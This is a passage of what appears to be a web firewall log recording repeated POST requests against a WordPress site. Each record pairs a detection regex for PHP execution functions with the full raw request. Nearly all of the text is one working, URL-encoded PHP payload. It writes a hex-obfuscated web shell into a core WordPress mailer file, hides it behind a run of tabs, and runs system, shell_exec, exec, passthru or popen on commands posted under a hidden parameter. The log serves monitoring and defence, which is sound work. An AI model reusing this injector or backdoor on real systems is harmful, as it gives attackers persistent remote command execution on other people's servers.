2520%252773%2527%2520.%2520%252773%2527%2520.%2520%252774%2527%2520.%2520%2524parameter_group7%2520.%2520%252772%2527%2520.%2520%252775%2527%2529%253B%2524system_core5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%2524parameter_group8%2520.%2520%2524parameter_group5%2520.%2520%252765%2527%2520.%2520%25276e%2527%2529%253B%2524system_core6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524parameter_group9%2520.%2520%2524parameter_group10%2520.%2520%2524parameter_group11%2520.%2520%2524parameter_group1%2520.%2520%252761%2527%2520.%2520%25276d%2527%2520.%2520%25275f%2527%2520.%2520%252767%2527%2520.%2520%252765%2527%2520.%2520%2524parameter_group10%2520.%2520%25275f%2527%2520.%2520%2524parameter_group12%2520.%2520%25276f%2527%2520.%2520%25276e%2527%2520.%2520%2524parameter_group10%2520.%2520%252765%2527%2520.%2520%2524parameter_group13%2520.%2520%2524parameter_group10%2520.%2520%2524parameter_group9%2529%253B%2524system_core7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524parameter_group5%2520.%2520%2524parameter_group12%2520.%2520%25276c%2527%2520.%2520%2524parameter_group8%2520.%2520%2524parameter_group9%2520.%2520%252765%2527%2529%253B%2524right_pad_string%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252772%2527%2520.%2520%2524parameter_group14%2520.%2520%252767%2527%2520.%2520%2524parameter_group7%2520.%2520%252774%2527%2520.%2520%2524parameter_group3%2520.%2520%2524parameter_group5%2520.%2520%2524parameter_group6%2520.%2520%252764%2527%2520.%2520%25275f%2527%2520.%2520%2524parameter_group9%2520.%2520%2524parameter_group10%2520.%2520%2524parameter_group11%2520.%2520%2524parameter_group14%2520.%2520%2524parameter_group13%2520.%2520%2524parameter_group15%2529%253Bif%2528isset%2528%2524_POST%255B%2524right_pad_string%255D%2529%2529%257B%2524right_pad_string%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524right_pad_string%255D%2529%253Bif%2528function_exists%2528%2524system_core1%2529%2529%257B%2524system_core1%2528%2524right_pad_string%2529%253B%257Delseif%2528function_exists%2528%2524system_core2%2529%2529%257Bprint%2520%2524system_core2%2528%2524right_pad_string%2529%253B%257Delseif%2528function_exists%2528%2524system_core3%2529%2529%257B%2524system_core3%2528%2524right_pad_string%252C%2524elem_ref%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524elem_ref%2529%253B%257Delseif%2528function_exists%2528%2524system_core4%2529%2529%257B%2524system_core4%2528%2524right_pad_string%2529%253B%257Delseif%2528function_exists%2528%2524system_core5%2529%2526%2526function_exists%2528%2524system_core6%2529%2526%2526function_exists%2528%2524system_core7%2529%2529%257B%2524binding_key%253D%2524system_core5%2528%2524right_pad_string%252C%2522r%2522%2529%253Bif%2528%2524binding_key%2529%257B%2524entry_resource%253D%2524system_core6%2528%2524binding_key%2529%253B%2524system_core7%2528%2524binding_key%2529%253Bprint%2520%2524entry_resource%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-ch-ua-mobile:?0\nupgrade-insecure-requests:1\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:7735\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHJ4vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3EmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-encoding:gzip,deflate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\naccept:*\/*\n\nQn=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-phpmailer.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524parameter_group1%2520%253D%2520%252765%2527%253B%2524parameter_group2%2520%253D%2520%25276d%2527%253B%2524parameter_group3%2520%253D%2520%25275f%2527%253B%2524parameter_group4%2520%253D%2520%252778%2527%253B%2524parameter_group5%2520%253D%2520%252770%2527%253B%2524parameter_group6%2520%253D%2520%252761%2527%253B%2524parameter_group7%2520%253D%2520%252768%2527%253B%2524parameter_group8%2520%253D%2520%25276f%2527%253B%2524parameter_group9%2520%253D%2520%252773%2527%253B%2524parameter_group10%2520%253D%2520%252774%2527%253B%2524parameter_group11%2520%253D%2520%252772%2527%253B%2524parameter_group12%2520%253D%2520%252763%2527%253B%2524parameter_group13%2520%253D%2520%25276e%2527%253B%2524parameter_group14%2520%253D%2520%252769%2527%253B%2524parameter_group15%2520%253D%2520%252767%2527%253B%2524system_core1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527%2520.%2520%252779%2527%2520.%2520%252773%2527%2520.%2520%252774%2527%2520.%2520%2524parameter_group1%2520.%2520%2524parameter_group2%2529%253B%2524system_core2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527%2520.%2520%252768%2527%2520.%2520%2524parameter_group1%2520.%2520%25276c%2527%2520.%2520%25276c%2527%2520.%2520%2524parameter_group3%2520.%2520%2524parameter_group1%2520.%2520%2524parameter_group4%2520.%2520%2524parameter_group1%2520.%2520%252763%2527%2529%253B%2524system_core3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524parameter_group1%2520.%2520%2524parameter_group4%2520.%2520%2524parameter_group1%2520.%2520%252763%2527%2529%253B%2524system_core4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524parameter_group5%2520.%2520%2524parameter_group6%2520.%2520%252773%2527%2520.%2520%252773%2527%2520.%2520%252774%2527%2520.%2520%2524parameter_group7%2520.%2520%252772%2527%2520.%2520%252775%2527%2529%253B%2524system_core5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%2524parameter_group8%2520.%2520%2524parameter_group5%2520.%2520%252765%2527%2520.%2520%25276e%2527%2529%253B%2524system_core6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524parameter_group9%2520.%2520%2524parameter_group10%2520.%2520%2524parameter_group11%2520.%2520%2524parameter_group1%2520.%2520%252761%2527%2520.%2520%25276d%2527%2520.%2520%25275f%2527%2520.%2520%252767%2527%2520.%2520%252765%2527%2520.%2520%2524parameter_group10%2520.%2520%25275f%2527%2520.%2520%2524parameter_group12%2520.%2520%25276f%2527%2520.%2520%25276e%2527%2520.%2520%2524parameter_group10%2520.%2520%252765%2527%2520.%2520%2524parameter_group13%2520.%2520%2524parameter_group10%2520.%2520%2524parameter_group9%2529%253B%2524system_core7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524parameter_group5%2520.%2520%2524parameter_group12%2520.%2520%25276c%2527%2520.%2520%2524parameter_group8%2520.%2520%2524parameter_group9%2520.%2520%252765%2527%2529%253B%2524right_pad_string%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252772%2527%2520.%2520%2524parameter_group14%2520.%2520%252767%2527%2520.%2520%2524parameter_group7%2520.%2520%252774%2527%2520.%2520%2524parameter_group3%2520.%2520%2524parameter_group5%2520.%2520%2524parameter_group6%2520.%2520%252764%2527%2520.%2520%25275f%2527%2520.%2520%2524parameter_group9%2520.%2520%2524parameter_group10%2520.%2520%2524parameter_group11%2520.%2520%2524parameter_group14%2520.%2520%2524parameter_group13%2520.%2520%2524parameter_group15%2529%253Bif%2528isset%2528%2524_POST%255B%2524right_pad_string%255D%2529%2529%257B%2524right_pad_string%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524right_pad_string%255D%2529%253Bif%2528function_exists%2528%2524system_core1%2529%2529%257B%2524system_core1%2528%2524right_pad_string%2529%253B%257Delseif%2528function_exists%2528%2524system_core2%2529%2529%257Bprint%2520%2524system_core2%2528%2524right_pad_string%2529%253B%257Delseif%2528function_exists%2528%2524system_core3%2529%2529%257B%2524system_core3%2528%2524right_pad_string%252C%2524elem_ref%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524elem_ref%2529%253B%257Delseif%2528function_exists%2528%2524system_core4%2529%2529%257B%2524system_core4%2528%2524right_pad_string%2529%253B%257Delseif%2528function_exists%2528%2524system_core5%2529%2526%2526function_exists%2528%2524system_core6%2529%2526%2526function_exists%2528%2524system_core7%2529%2529%257B%2524binding_key%253D%2524system_core5%2528%2524right_pad_string%252C%2522r%2522%2529%253Bif%2528%2524binding_key%2529%257B%2524entry_resource%253D%2524system_core6%2528%2524binding_key%2529%253B%2524system_core7%2528%2524binding_key%2529%253Bprint%2520%2524entry_resource%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 18:40:16","213.209.159.254","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> UY:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-phpmailer.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524parameter_group1%2520%253D%2520%252765%2527%253B%2524parameter_group2%2520%253D%2520%25276d%2527%253B%2524parameter_group3%2520%253D%2520%25275f%2527%253B%2524parameter_group4%2520%253D%2520%252778%2527%253B%2524parameter_group5%2520%253D%2520%252770%2527%253B%2524parameter_group6%2520%253D%2520%252761%2527%253B%2524parameter_group7%2520%253D%2520%252768%2527%253B%2524parameter_group8%2520%253D%2520%25276f%2527%253B%2524parameter_group9%2520%253D%2520%252773%2527%253B%2524parameter_group10%2520%253D%2520%252774%2527%253B%2524parameter_group11%2520%253D%2520%252772%2527%253B%2524parameter_group12%2520%253D%2520%252763%2527%253B%2524parameter_group13%2520%253D%2520%25276e%2527%253B%2524parameter_group14%2520%253D%2520%252769%2527%253B%2524parameter_group15%2520%253D%2520%252767%2527%253B%2524system_core1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527%2520.%2520%252779%2527%2520.%2520%252773%2527%2520.%2520%252774%2527%2520.%2520%2524parameter_group1%2520.%2520%2524parameter_group2%2529%253B%2524system_core2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527%2520.%2520%252768%2527%2520.%2520%2524parameter_group1%2520.%2520%25276c%2527%2520.%2520%25276c%2527%2520.%2520%2524parameter_group3%2520.%2520%2524parameter_group1%2520.%2520%2524parameter_group4%2520.%2520%2524parameter_group1%2520.%2520%252763%2527%2529%253B%2524system_core3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524parameter_group1%2520.%2520%2524parameter_group4%2520.%2520%2524parameter_group1%2520.%2520%252763%2527%2529%253B%2524system_core4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524parameter_group5%2520.%2520%2524parameter_group6%2520.%2520%252773%2527%2520.%2520%252773%2527%2520.%2520%252774%2527%2520.%2520%2524parameter_group7%2520.%2520%252772%2527%2520.%2520%252775%2527%2529%253B%2524system_core5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%2524parameter_group8%2520.%2520%2524parameter_group5%2520.%2520%252765%2527%2520.%2520%25276e%2527%2529%253B%2524system_core6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524parameter_group9%2520.%2520%2524parameter_group10%2520.%2520%2524parameter_group11%2520.%2520%2524parameter_group1%2520.%2520%252761%2527%2520.%2520%25276d%2527%2520.%2520%25275f%2527%2520.%2520%252767%2527%2520.%2520%252765%2527%2520.%2520%2524parameter_group10%2520.%2520%25275f%2527%2520.%2520%2524parameter_group12%2520.%2520%25276f%2527%2520.%2520%25276e%2527%2520.%2520%2524parameter_group10%2520.%2520%252765%2527%2520.%2520%2524parameter_group13%2520.%2520%2524parameter_group10%2520.%2520%2524parameter_group9%2529%253B%2524system_core7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524parameter_group5%2520.%2520%2524parameter_group12%2520.%2520%25276c%2527%2520.%2520%2524parameter_group8%2520.%2520%2524parameter_group9%2520.%2520%252765%2527%2529%253B%2524right_pad_string%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252772%2527%2520.%2520%2524parameter_group14%2520.%2520%252767%2527%2520.%2520%2524parameter_group7%2520.%2520%252774%2527%2520.%2520%2524parameter_group3%2520.%2520%2524parameter_group5%2520.%2520%2524parameter_group6%2520.%2520%252764%2527%2520.%2520%25275f%2527%2520.%2520%2524parameter_group9%2520.%2520%2524parameter_group10%2520.%2520%2524parameter_group11%2520.%2520%2524parameter_group14%2520.%2520%2524parameter_group13%2520.%2520%2524parameter_group15%2529%253Bif%2528isset%2528%2524_POST%255B%2524right_pad_string%255D%2529%2529%257B%2524right_pad_string%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524right_pad_string%255D%2529%253Bif%2528function_exists%2528%2524system_core1%2529%2529%257B%2524system_core1%2528%2524right_pad_string%2529%253B%257Delseif%2528function_exists%2528%2524system_core2%2529%2529%257Bprint%2520%2524system_core2%2528%2524right_pad_string%2529%253B%257Delseif%2528function_exists%2528%2524system_core3%2529%2529%257B%2524system_core3%2528%2524right_pad_string%252C%2524elem_ref%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524elem_ref%2529%253B%257Delseif%2528function_exists%2528%2524system_core4%2529%2529%257B%2524system_core4%2528%2524right_pad_string%2529%253B%257Delseif%2528function_exists%2528%2524system_core5%2529%2526%2526function_exists%2528%2524system_core6%2529%2526%2526function_exists%2528%2524system_core7%2529%2529%257B%2524binding_key%253D%2524system_core5%2528%2524right_pad_string%252C%2522r%2522%2529%253Bif%2528%2524binding_key%2529%257B%2524entry_resource%253D%2524system_core6%2528%2524binding_key%2529%253B%2524system_core7%2528%2524binding_key%2529%253Bprint%2520%2524entry_resource%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-ch-ua-mobile:?0\nupgrade-insecure-requests:1\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:7735\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIIxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhL2k1MTHvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-encoding:gzip,deflate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\naccept:*\/*\n\nUY=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-phpmailer.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524parameter_group1%2520%253D%2520%252765%2527%253B%2524parameter_group2%2520%253D%2520%25276d%2527%253B%2524parameter_group3%2520%253D%2520%25275f%2527%253B%2524parameter_group4%2520%253D%2520%252778%2527%253B%2524parameter_group5%2520%253D%2520%252770%2527%253B%2524parameter_group6%2520%253D%2520%252761%2527%253B%2524parameter_group7%2520%253D%2520%252768%2527%253B%2524parameter_group8%2520%253D%2520%25276f%2527%253B%2524parameter_group9%2520%253D%2520%252773%2527%253B%2524parameter_group10%2520%253D%2520%252774%2527%253B%2524parameter_group11%2520%253D%2520%252772%2527%253B%2524parameter_group12%2520%253D%2520%252763%2527%253B%2524parameter_group13%2520%253D%2520%25276e%2527%253B%2524parameter_group14%2520%253D%2520%252769%2527%253B%2524parameter_group15%2520%253D%2520%252767%2527%253B%2524system_core1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527%2520.%2520%252779%2527%2520.%2520%252773%2527%2520.%2520%252774%2527%2520.%2520%2524parameter_group1%2520.%2520%2524parameter_group2%2529%253B%2524system_core2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527%2520.%2520%252768%2527%2520.%2520%2524parameter_group1%2520.%2520%25276c%2527%2520.%2520%25276c%2527%2520.%2520%2524parameter_group3%2520.%2520%2524parameter_group1%2520.%2520%2524parameter_group4%2520.%2520%2524parameter_group1%2520.%2520%252763%2527%2529%253B%2524system_core3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524parameter_group1%2520.%2520%2524parameter_group4%2520.%2520%2524parameter_group1%2520.%2520%252763%2527%2529%253B%2524system_core4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524parameter_group5%2520.%2520%2524parameter_group6%2520.%2520%252773%2527%2520.%2520%252773%2527%2520.%2520%252774%2527%2520.%2520%2524parameter_group7%2520.%2520%252772%2527%2520.%2520%252775%2527%2529%253B%2524system_core5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%2524parameter_group8%2520.%2520%2524parameter_group5%2520.%2520%252765%2527%2520.%2520%25276e%2527%2529%253B%2524system_core6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524parameter_group9%2520.%2520%2524parameter_group10%2520.%2520%2524parameter_group11%2520.%2520%2524parameter_group1%2520.%2520%252761%2527%2520.%2520%25276d%2527%2520.%2520%25275f%2527%2520.%2520%252767%2527%2520.%2520%252765%2527%2520.%2520%2524parameter_group10%2520.%2520%25275f%2527%2520.%2520%2524parameter_group12%2520.%2520%25276f%2527%2520.%2520%25276e%2527%2520.%2520%2524parameter_group10%2520.%2520%252765%2527%2520.%2520%2524parameter_group13%2520.%2520%2524parameter_group10%2520.%2520%2524parameter_group9%2529%253B%2524system_core7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524parameter_group5%2520.%2520%2524parameter_group12%2520.%2520%25276c%2527%2520.%2520%2524parameter_group8%2520.%2520%2524parameter_group9%2520.%2520%252765%2527%2529%253B%2524right_pad_string%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252772%2527%2520.%2520%2524parameter_group14%2520.%2520%252767%2527%2520.%2520%2524parameter_group7%2520.%2520%252774%2527%2520.%2520%2524parameter_group3%2520.%2520%2524parameter_group5%2520.%2520%2524parameter_group6%2520.%2520%252764%2527%2520.%2520%25275f%2527%2520.%2520%2524parameter_group9%2520.%2520%2524parameter_group10%2520.%2520%2524parameter_group11%2520.%2520%2524parameter_group14%2520.%2520%2524parameter_group13%2520.%2520%2524parameter_group15%2529%253Bif%2528isset%2528%2524_POST%255B%2524right_pad_string%255D%2529%2529%257B%2524right_pad_string%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524right_pad_string%255D%2529%253Bif%2528function_exists%2528%2524system_core1%2529%2529%257B%2524system_core1%2528%2524right_pad_string%2529%253B%257Delseif%2528function_exists%2528%2524system_core2%2529%2529%257Bprint%2520%2524system_core2%2528%2524right_pad_string%2529%253B%257Delseif%2528function_exists%2528%2524system_core3%2529%2529%257B%2524system_core3%2528%2524right_pad_string%252C%2524elem_ref%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524elem_ref%2529%253B%257Delseif%2528function_exists%2528%2524system_core4%2529%2529%257B%2524system_core4%2528%2524right_pad_string%2529%253B%257Delseif%2528function_exists%2528%2524system_core5%2529%2526%2526function_exists%2528%2524system_core6%2529%2526%2526function_exists%2528%2524system_core7%2529%2529%257B%2524binding_key%253D%2524system_core5%2528%2524right_pad_string%252C%2522r%2522%2529%253Bif%2528%2524binding_key%2529%257B%2524entry_resource%253D%2524system_core6%2528%2524binding_key%2529%253B%2524system_core7%2528%2524binding_key%2529%253Bprint%2520%2524entry_resource%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 18:40:17","213.209.159.254","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-phpmailer.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524parameter_group1%2520%253D%2520%252765%2527%253B%2524parameter_group2%2520%253D%2520%25276d%2527%253B%2524parameter_group3%2520%253D%2520%25275f%2527%253B%2524parameter_group4%2520%253D%2520%252778%2527%253B%2524parameter_group5%2520%253D%2520%252770%2527%253B%2524parameter_group6%2520%253D%2520%252761%2527%253B%2524parameter_group7%2520%253D%2520%252768%2527%253B%2524parameter_group8%2520%253D%2520%25276f%2527%253B%2524parameter_group9%2520%253D%2520%252773%2527%253B%2524parameter_group10%2520%253D%2520%252774%2527%253B%2524parameter_group11%2520%253D%2520%252772%2527%253B%2524parameter_group12%2520%253D%2520%252763%2527%253B%2524parameter_group13%2520%253D%2520%25276e%2527%253B%2524parameter_group14%2520%253D%2520%252769%2527%253B%2524parameter_group15%2520%253D%2520%252767%2527%253B%2524system_core1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527%2520.%2520%252779%2527%2520.%2520%252773%2527%2520.%2520%252774%2527%2520.%2520%2524parameter_group1%2520.%2520%2524parameter_group2%2529%253B%2524system_core2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527%2520.%2520%252768%2527%2520.%2520%2524parameter_group1%2520.%2520%25276c%2527%2520.%2520%25276c%2527%2520.%2520%2524parameter_group3%2520.%2520%2524parameter_group1%2520.%2520%2524parameter_group4%2520.%2520%2524parameter_group1%2520.%2520%252763%2527%2529%253B%2524system_core3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524parameter_